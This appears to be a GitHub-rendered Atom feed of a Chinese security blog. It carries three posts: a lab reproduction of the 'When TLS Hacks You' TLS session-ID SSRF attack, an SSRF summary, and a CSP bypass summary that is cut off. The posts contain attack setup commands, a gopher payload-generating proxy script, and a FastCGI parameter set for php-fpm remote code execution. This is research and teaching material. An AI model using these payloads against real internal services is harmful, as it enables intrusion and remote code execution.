-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
146 lines (84 loc) · 98.2 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Wendell's blog</title>
<link href="http://blog.wendell.pro/atom.xml" rel="self"/>
<link href="http://blog.wendell.pro/"/>
<updated>2021-02-25T07:17:44.430Z</updated>
<id>http://blog.wendell.pro/</id>
<author>
<name>Wendell</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>BlackHat2020 议题 「When TLS Hacks You」 复现</title>
<link href="http://blog.wendell.pro/2021/01/29/BlackHat2020%20%E8%AE%AE%E9%A2%98%20When%20TLS%20Hacks%20You%20%E5%A4%8D%E7%8E%B0/"/>
<id>http://blog.wendell.pro/2021/01/29/BlackHat2020%20%E8%AE%AE%E9%A2%98%20When%20TLS%20Hacks%20You%20%E5%A4%8D%E7%8E%B0/</id>
<published>2021-01-29T08:47:53.000Z</published>
<updated>2021-02-25T07:17:44.430Z</updated>
<content type="html"><![CDATA[<blockquote><p>本文首发于先知社区,链接:<a href="https://xz.aliyun.com/t/9177">https://xz.aliyun.com/t/9177</a></p></blockquote><p>When TLS Hacks You出了一个利用tls进行ssrf的姿势,而且赵师傅在<a href="https://www.zhaoj.in/read-6681.html">西湖论剑2020 Web HelloDiscuzQ 题</a>也做了一些新研究,很早之前就想学习一下这个,不过一直咕,趁现在空下来了,研究一下.</p><a id="more"></a><p>这个是一个ssrf的新姿势,如果可以利用的话,只要对方服务器可以利用https协议,就可以打内网服务.</p><p>但是打过去的payload会有一些垃圾字符,常见可以利用的是memcached,ftp和smtp,而redis据原作者所说,因为0字节会截断,不能攻击</p><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><h3 id="tls1-2握手和会话复用"><a href="#tls1-2握手和会话复用" class="headerlink" title="tls1.2握手和会话复用"></a>tls1.2握手和会话复用</h3><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128141802337.png" alt="image-20210128141802337"></p><p>上面这个图简单的描述了TLS握手过程,每个框都是一个记录,多个记录组成一个TCP包发送,在tcp握手之后,经过4个消息,就可以完成TLS握手过程</p><p>在ServerHello消息中,</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210126214135464.png" alt="image-20210126214135464"></p><p>会有一个sessionID字段,用于再次连接时的会话复用,</p><p>会话复用时,客户端发送发生首次连接时保存的来自服务器的会话id,找到后就直接用主密钥恢复会话状态,跳过证书验证和密钥交换阶段.</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128144043823.png" alt="image-20210128144043823"></p><h3 id="dns重绑定攻击"><a href="#dns重绑定攻击" class="headerlink" title="dns重绑定攻击"></a>dns重绑定攻击</h3><p>当dns的TTL(生存时间)是一个非常小的值的时候,DNS回复仅在短时间内有效,攻击者DNS首次回复了有效的IP的地址,第二次恢复恶意地址,就会造成DNS重绑定攻击</p><h3 id="AAAA记录和A记录"><a href="#AAAA记录和A记录" class="headerlink" title="AAAA记录和A记录"></a>AAAA记录和A记录</h3><p>AAAA记录是域名的ipv6地址,A记录是域名的ipv4地址,可能因为现在对ipv6的支持问题,</p><p>curl会优先请求AAAA记录的地址,如果无法连接,则会连接ipv4地址</p><h2 id="攻击原理"><a href="#攻击原理" class="headerlink" title="攻击原理"></a>攻击原理</h2><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/uml.png" alt="Attack flow"></p><p>如上图,在TSL首次握手时,session_id来自服务端,而后在一次新的连接时,在客户端会进行会话复用时,这时,session_id由客户端首先发给服务端.</p><p>原作者提出,在curl对会话复用的判断中,只判断了目标服务的域名、端口以及协议是否一致,没有判断ip</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/640" alt="图片"></p><p>如果服务器是恶意攻击者控制的,session_id被设置成攻击者想发送的恶意payload,在客户端第二次请求时,将ip改成127.0.0.1, 既可利用恶意的session_id攻击客户端本地的服务,</p><p>恶意的TLS服务器,只要一个正常的TLS服务器把sessionid改掉就好,现在问题是如何把客户端在第二次请求时目的ip改掉.这里有两种姿势.</p><h3 id="ip改变的方法"><a href="#ip改变的方法" class="headerlink" title="ip改变的方法"></a>ip改变的方法</h3><h4 id="dns重绑定"><a href="#dns重绑定" class="headerlink" title="dns重绑定"></a>dns重绑定</h4><p>一个很简单的想法就是利用dns重绑定,在第二次请求dns解析时改变ip,这个也是When TLS Hacks You那篇议题原作者提出的方法,赵师傅在文章中提到curl对dns做了缓存,导致第二次请求时没有进行dns查询,导致无法利用,但其实原作在中间还加了一些处理,恶意的TLS服务端永远只返回的301跳转,并且在返回前会sleep一段时间,curl在一次次的301跳转中耗尽dns缓存的时间,会重新进行dns查询.</p><p>这里有一个坑,按照原作者github搭出来的话,301跳转以后就会报一个unexpected message的错误,</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128154459168.png" alt="image-20210128154459168"></p><p>导致无法一直301跳转进行利用,最终我利用赵师傅改的<a href="https://github.com/glzjin/tlslite-ng">tlslite-ng</a>,再次魔改,才完成复现.</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128151815356.png" alt="image-20210128151815356"></p><p>可以看到这里跳转了5次,才改变了ip</p><h4 id="AAAA和A记录"><a href="#AAAA和A记录" class="headerlink" title="AAAA和A记录"></a>AAAA和A记录</h4><p>赵师傅提出了一个新的改ip的姿势,</p><p>因为curl对AAAA和A记录的特殊处理,我们只要设置AAAA记录返回一个服务器ipv6的ip,A记录返回127.0.0.1,,并且在服务器第二次访问时,服务端下线.</p><p>第一次服务器访问ipv6地址,在服务器第二次请求时访问ipv6的地址,发现无法无法访问,会转而请求ipv4地址,造成ip改变</p><p>具体操作可以参考赵师傅的文章.</p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p><a href="https://gitee.com/wendell_tong/tls_poison_study">https://gitee.com/wendell_tong/tls_poison_study</a></p><p>配置域名的ns和a记录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dns.example.com A 300 <DNS_IP></span><br><span class="line">tlstest.example.com NS 300 dns.example.com</span><br></pre></td></tr></table></figure><p>启动dns服务器</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 alternate-dns.py tlstest.example.com,127.0.0.1 -b 0.0.0.0 -t tlsserverip </span><br></pre></td></tr></table></figure><p>127.0.0.1是要进行ssrf攻击目标的ip,这里我为了方便抓包设置了118.*的ip</p><p>然后在tlslite-ng/tlslite目录,启动TLS服务,注意证书要自己配置,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 tls.py server --max-ver tls1.2 -k 2_tlstest111.wetolink.com.key -c 1_tlstest111.wetolink.com_bundle.crt 0.0.0.0:11212</span><br></pre></td></tr></table></figure><p>这时受害者主机以http访问</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -4 -kvL https://tlstest.example.com:11212</span><br></pre></td></tr></table></figure><p>就会被攻击,</p><p>注意要允许301跳转,并且使用tls1.2.</p><p>可以看到在多次跳转之后,curl改变了访问ip</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210126212832133.png" alt="image-20210126212832133"></p><p>在恶意的session_id被成功发往服务端</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210126213801318.png" alt="image-20210126213801318"></p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210126212540359.png" alt="image-20210126212540359"></p><h2 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h2><p>原作者pdf的图就说的挺清楚的,下图是受影响的客户端,</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128161019644.png" alt="image-20210128161019644"></p><p>下图是可以攻击的目标,因为会有一些垃圾字符的干扰,Memcached的利用是比较多的</p><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210128160618062.png" alt="image-20210128160618062"></p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://www.blackhat.com/eu-20/briefings/schedule/index.html">https://www.blackhat.com/eu-20/briefings/schedule/index.html</a></p><p><a href="https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf">https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf</a></p><p><a href="https://cqureacademy.com/conference-summary/bhus2020-1-when-tls-hacks-you">https://cqureacademy.com/conference-summary/bhus2020-1-when-tls-hacks-you</a></p><p><a href="https://github.com/jmdx/TLS-poison">https://github.com/jmdx/TLS-poison</a></p><p><a href="https://www.zhaoj.in/read-6681.html#i-5">https://www.zhaoj.in/read-6681.html#i-5</a></p><p><a href="https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw">https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw</a></p><p>极客时间<透视HTTP协议></p>]]></content>
<summary type="html"><blockquote>
<p>本文首发于先知社区,链接:<a href="https://xz.aliyun.com/t/9177">https://xz.aliyun.com/t/9177</a></p>
</blockquote>
<p>When TLS Hacks You出了一个利用tls进行ssrf的姿势,而且赵师傅在<a href="https://www.zhaoj.in/read-6681.html">西湖论剑2020 Web HelloDiscuzQ 题</a>也做了一些新研究,很早之前就想学习一下这个,不过一直咕,趁现在空下来了,研究一下.</p></summary>
<category term="Web安全" scheme="http://blog.wendell.pro/categories/Web%E5%AE%89%E5%85%A8/"/>
<category term="BlackHat2020 议题" scheme="http://blog.wendell.pro/tags/BlackHat2020-%E8%AE%AE%E9%A2%98/"/>
<category term="复现" scheme="http://blog.wendell.pro/tags/%E5%A4%8D%E7%8E%B0/"/>
</entry>
<entry>
<title>ssrf_总结.md</title>
<link href="http://blog.wendell.pro/2021/01/25/ssrf-%E6%80%BB%E7%BB%93-md-1/"/>
<id>http://blog.wendell.pro/2021/01/25/ssrf-%E6%80%BB%E7%BB%93-md-1/</id>
<published>2021-01-25T07:00:18.000Z</published>
<updated>2021-02-25T07:17:39.263Z</updated>
<content type="html"><</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line"><span class="comment">## 实际内部服务端口</span></span><br><span class="line">source_host = <span class="string">'127.0.0.1'</span></span><br><span class="line">source_port = <span class="number">8080</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 外部传入端口</span></span><br><span class="line">desc_host = <span class="string">'0.0.0.0'</span></span><br><span class="line">desc_port = <span class="number">8082</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">log_data</span>(<span class="params">data</span>):</span></span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">'log.txt'</span>,<span class="string">'ab+'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(<span class="string">b'------bin----------\r\n'</span>)</span><br><span class="line"> f.write(data)</span><br><span class="line"> f.write(<span class="string">b'\r\n-----\r\n'</span>)</span><br><span class="line"> f.write(<span class="string">b'gopher://127.0.0.1:%d/_'</span>%source_port + quote(data).encode())</span><br><span class="line"> f.write(<span class="string">b'-------url---------\r\n'</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">send</span>(<span class="params">sender, recver</span>):</span></span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> data = sender.recv(<span class="number">2048</span>)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> print(<span class="string">"recv error"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> log_data(data)</span><br><span class="line"> recver.sendall(data)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> print(<span class="string">"send error"</span>) </span><br><span class="line"> sender.close()</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> recver.close()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">proxy</span>(<span class="params">client</span>):</span></span><br><span class="line"> server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> server.connect((source_host, source_port))</span><br><span class="line"> threading.Thread(target=send, args=(client, server)).start()</span><br><span class="line"> threading.Thread(target=send, args=(server, client)).start()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <span class="number">1</span>)</span><br><span class="line"> proxy_server.bind((desc_host, desc_port))</span><br><span class="line"> proxy_server.listen(<span class="number">50</span>)</span><br><span class="line"></span><br><span class="line"> print(<span class="string">"Proxying from %s:%s to %s:%s ..."</span>%(desc_host, desc_port,source_host, source_port)) </span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> conn, addr = proxy_server.accept()</span><br><span class="line"> print(<span class="string">"received connect from %s:%s"</span>%(addr[<span class="number">0</span>], addr[<span class="number">1</span>])) </span><br><span class="line"> threading.Thread(target=proxy, args=(conn, )).start()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><p>可以使用这个脚本,转发并且记录流量,转成gopher的形式</p><h3 id="dict协议"><a href="#dict协议" class="headerlink" title="dict协议"></a>dict协议</h3><p><img src="https://cdn.jsdelivr.net/gh/W4ndell/static/img/image-20210202115140626.png" alt="image-20210202115140626"></p><p>dict协议是词典网络协议,url-path部分的字符会直接发送,达到受限的部分可控的一次tcp流攻击效果,但是无法加入一些特殊字符,无法换行,攻击效果受限,常用来攻击redis</p><h3 id="CRLF攻击"><a href="#CRLF攻击" class="headerlink" title="CRLF攻击"></a>CRLF攻击</h3><p> <a href="https://www.cvedetails.com/cve/CVE-2019-9740/">CVE-2019-9740</a>urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3都曾出过CRLF漏洞</p><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5699">CVE-2016-5699</a>Python 2.7.10之前的版本和3.4.4之前的3.x 版本中的 urllib2和urllib中的‘HTTPConnection.putheader’函数存在CRLF注入漏洞</p><h3 id="http协议"><a href="#http协议" class="headerlink" title="http协议"></a>http协议</h3><p>因为http应用很光,单纯http协议,也可以攻击部分web内网应用,如果docker开启了tcp监听,也可以进行攻击</p><h3 id="ftp协议"><a href="#ftp协议" class="headerlink" title="ftp协议"></a>ftp协议</h3><ul><li>利用被动模式</li></ul><p>在<a href="https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020">hxp-2020</a><strong>resonator</strong>/</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$file = $_GET['file'] ?? '/tmp/file';</span><br><span class="line">$data = $_GET['data'] ?? ':)';</span><br><span class="line">file_put_contents($file, $data);</span><br><span class="line">echo file_get_contents($file);</span><br></pre></td></tr></table></figure><p>出现的这样一个利用姿势,利用一个恶意的ftp服务器,当php使用file_put_contents向ftp服务器上传数据时,服务器开启被动模式,返回127.0.0.1:9000 这个地址,内容就被发往本地的fpm服务器,造成rce</p><ul><li><p>利用ftp主动模式</p><p>在starctf2021/web-oh-my-bet,出现了这样一个姿势</p><p>在python的pyftpdlib启动的ftp服务器中,如果配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">handler.permit_foreign_addresses = True</span><br></pre></td></tr></table></figure><p>既ftp服务器在主动模式中,对用户来源ip地址和用户主动模式给出ip地址不做校验</p><p>则可以恶意用户则可以连接ftp服务器,上传恶意文件后,使用主动模式下载,这是给服务器恶意内网地址,造成攻击,</p><p>如果内网有ftp服务器,利用ftp服务器对tcp流的容错,则可以,受限的部分可控的一次tcp流,转成把完全可控的一次tcp流</p></li></ul><h3 id="TLS协议"><a href="#TLS协议" class="headerlink" title="TLS协议"></a>TLS协议</h3><p><a href="https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf">https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf</a></p><p>利用tls的会话复用机制,可以实现ssrf只要支持https协议,就可以造成受限的部分可控的一次tcp流攻击</p><h2 id="可攻击的应用"><a href="#可攻击的应用" class="headerlink" title="可攻击的应用"></a>可攻击的应用</h2><p>本质上来说,只要在内网监听了端口,都有可能被攻击,但是因为协议中可控内容有限,还是有一些限制 的,</p><h3 id="redis"><a href="#redis" class="headerlink" title="redis"></a>redis</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d -p 6379:6379 ju5ton1y/redis</span><br></pre></td></tr></table></figure><p>redis使用的是<strong>RESP</strong> (REdis Serialization Protocol),本质上只是规定了将命令行命令转为tcp传输的封装方式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">auth 123123</span><br><span class="line">转为</span><br><span class="line">*2</span><br><span class="line">$4</span><br><span class="line">auth</span><br><span class="line">$6</span><br><span class="line">123123</span><br><span class="line">在tcp中传输,先利用*声明一个长度为2的数组,$number代表每个元素的长度,</span><br></pre></td></tr></table></figure><p>并且redis是支持管道操作的,也就是说可以一次发生多次操作,而不需要等待服务器回复</p><p>而且redis认证的本质也是请求前,发送了上述auth命令,也就是说,如果你通过其他途径得到了redis密码,或者进行爆破,有认证的redis也是可以被攻击的</p><p>在我实验的redis_version:3.2.11中,redis对</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">POST,</span><br><span class="line">Host:</span><br></pre></td></tr></table></figure><p>做了检测,如果匹配到会直接结束连接,应该是为了防止http POST或者crlf攻击redis,但是redis没有banGET</p><p>在python的<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5699">CVE-2016-5699</a>CRLF注入中,因为payload是注入在Host之后,所以无法攻击,虽然它可以通过SNI注入,去掉GET,但是因为有特殊字符的问题,redis也无法攻击.</p><p>python的 CVE-2019-9740,CRLF注入,因为是url处,所以可以攻击redis</p><h4 id="攻击姿势"><a href="#攻击姿势" class="headerlink" title="攻击姿势"></a>攻击姿势</h4><p>参考</p><p><a href="https://paper.seebug.org/1169/#_1">https://paper.seebug.org/1169/#_1</a></p><p><a href="https://www.anquanke.com/post/id/214108#h3-12">https://www.anquanke.com/post/id/214108#h3-12</a></p><p>比较常见的利用姿势的有写文件,利用主从复制getshell,或者改数据触发反序列化,或者低版本的rce等</p><p><a href="https://redis.io/topics/protocol">https://redis.io/topics/protocol</a></p><p><a href="https://www.anquanke.com/post/id/181599#h2-2">https://www.anquanke.com/post/id/181599#h2-2</a></p><p><a href="https://www.anquanke.com/post/id/214108#h3-15">https://www.anquanke.com/post/id/214108#h3-15</a></p><h3 id="docker"><a href="#docker" class="headerlink" title="docker"></a>docker</h3><p>可以看p神这篇文章</p><p><a href="https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw">https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw</a></p><p>如果docker配置了监听tcp端口,则可以通过ssrf攻击,只要有可控的http的post方法,就可以造成rce,利用create和exec的姿势需要path和body都可控,p神在这篇文章中</p><h3 id="uWSGI"><a href="#uWSGI" class="headerlink" title="uWSGI"></a>uWSGI</h3><p>通过ssrf攻击uWSGI实现rce,</p><p>因为在uwsgi的协议中,允许传递一些魔术变量,调整参数,利用UWSGI_FILE变量,可以动态加载新的文件执行,并且uWSGI程序中默认注册了一系列schemes,可以通过这些schemes直接进行rce</p><p><a href="https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md">https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md</a></p><h3 id="php-fpm"><a href="#php-fpm" class="headerlink" title="php-fpm"></a>php-fpm</h3><p>一般监听9000端口通过完全可控的一次tcp流可以rce,一般利用方法为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> 'GATEWAY_INTERFACE': 'FastCGI/1.0',</span><br><span class="line"> 'REQUEST_METHOD': 'GET',</span><br><span class="line"> 'SCRIPT_FILENAME': '/var/www/html/index.php',</span><br><span class="line"> 'SCRIPT_NAME': '/index.php',</span><br><span class="line"> 'QUERY_STRING': '?a=1&b=2',</span><br><span class="line"> 'REQUEST_URI': '/index.php?a=1&b=2',</span><br><span class="line"> 'DOCUMENT_ROOT': '/var/www/html',</span><br><span class="line"> 'SERVER_SOFTWARE': 'php/fcgiclient',</span><br><span class="line"> 'REMOTE_ADDR': '127.0.0.1',</span><br><span class="line"> 'REMOTE_PORT': '12345',</span><br><span class="line"> 'SERVER_ADDR': '127.0.0.1',</span><br><span class="line"> 'SERVER_PORT': '80',</span><br><span class="line"> 'SERVER_NAME': "localhost",</span><br><span class="line"> 'SERVER_PROTOCOL': 'HTTP/1.1'</span><br><span class="line"> 'PHP_VALUE': 'auto_prepend_file = php://input',</span><br><span class="line"> 'PHP_ADMIN_VALUE': 'allow_url_include = On'</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>FastCGI 协议可以通过PHP_ADMIN_VALUE和PHP_VALUE指定php配置值,通过配置自动包含php://input,而进行rce</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery</a></p><p><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf</a></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file</a></p>]]></content>
<summary type="html"><h2 id="导言"><a href="#导言" class="headerlink" title="导言"></a>导言</h2><p>服务端请求伪造(SSRF),简单来说就是服务器以其身份替攻击者发生任意请求,因为服务器所处的特殊网络位置,很可能有机会访问内部资源,在元环境中,可能会存在包含敏感凭证的元数据断点,造成很严重的危害</p></summary>
<category term="Web安全" scheme="http://blog.wendell.pro/categories/Web%E5%AE%89%E5%85%A8/"/>
<category term="ssrf" scheme="http://blog.wendell.pro/tags/ssrf/"/>
<category term="知识总结" scheme="http://blog.wendell.pro/tags/%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>csp_绕过_总结.md</title>
<link href="http://blog.wendell.pro/2021/01/19/csp-%E7%BB%95%E8%BF%87-%E6%80%BB%E7%BB%93-md/"/>
<id>http://blog.wendell.pro/2021/01/19/csp-%E7%BB%95%E8%BF%87-%E6%80%BB%E7%BB%93-md/</id>
<published>2021-01-19T07:01:00.000Z</published>
<updated>2021-02-25T07:17:24.656Z</updated>
<content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>内容安全策略,<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,%E6%8F%90%E4%BE%9Bxss%E6%94%BB%E5%87%BB%E7%9A%84%E4%BF%9D%E6%8A%A4">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,提供xss攻击的保护</a></p><p>服务器返回的http中带着 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> HTTP头部 ,或者html页面中带着</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"></span><br></pre></td></tr></table></figure><p>csp策略主要指定跨域内嵌资源如script,img的访问策略</p><p>其中iframe的策略也可以由x-frame-options头指定</p><a id="more"></a><h2 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h2><p>可以使用CSP Evaluator进行检测</p><p>我们一般关注script的设置</p><h3 id="配置不严格导致绕过"><a href="#配置不严格导致绕过" class="headerlink" title="配置不严格导致绕过"></a>配置不严格导致绕过</h3><h4 id="有可利用的302跳转"><a href="#有可利用的302跳转" class="headerlink" title="有可利用的302跳转"></a>有可利用的302跳转</h4><p>如果csp策略为</p><p>Content-Security-Policy: default-src ‘self’;script-src <a href="http://127.0.0.1/a/">http://127.0.0.1/a/</a> ;</p><p>如果a目录下有一个302跳转,则可以加载src同域名的其他目录的脚本,这个是一个很奇怪的特性</p><p>比如csp策略是这样的,q目录下有一个任意302跳转</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">header("Content-Security-Policy: default-src 'self';script-src http://www.baidu.com/c/ http://127.0.0.1:7000/q/; ");?></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>则可以加载<a href="http://www.baidu.com/%E6%88%96%E8%80%85http://127.0.0.1:7000/%E4%B8%8B%E7%9A%84%E4%BB%BB%E6%84%8F%E8%84%9A%E6%9C%AC,%E5%BF%BD%E7%95%A5%E7%9A%84c%E5%92%8Cq%E7%9A%84%E7%9B%AE%E5%BD%95%E9%99%90%E5%88%B6,%E4%BD%86%E6%98%AF%E4%B8%8D%E8%83%BD%E5%8A%A0%E8%BD%BD%E5%85%B6%E4%BB%96%E5%9F%9F,%E6%AF%94%E5%A6%82www.google.com%E5%B0%B1%E4%B8%8D%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8302%E8%B7%B3%E8%BD%AC%E5%8A%A0%E8%BD%BD">http://www.baidu.com/或者http://127.0.0.1:7000/下的任意脚本,忽略的c和q的目录限制,但是不能加载其他域,比如www.google.com就不可以利用302跳转加载</a></p><h4 id="unsafe-inline"><a href="#unsafe-inline" class="headerlink" title="unsafe-inline"></a>unsafe-inline</h4><p>如果有script开启了unsafe-inline,那就可以直接行内执行js</p><h4 id="object-src"><a href="#object-src" class="headerlink" title="object-src"></a>object-src</h4><p>如果object-src限制不严格,可以利用pdf执行javascript,但是这个有限制,不能弹cookie</p><figure class="highlight plain"><table><tr><td 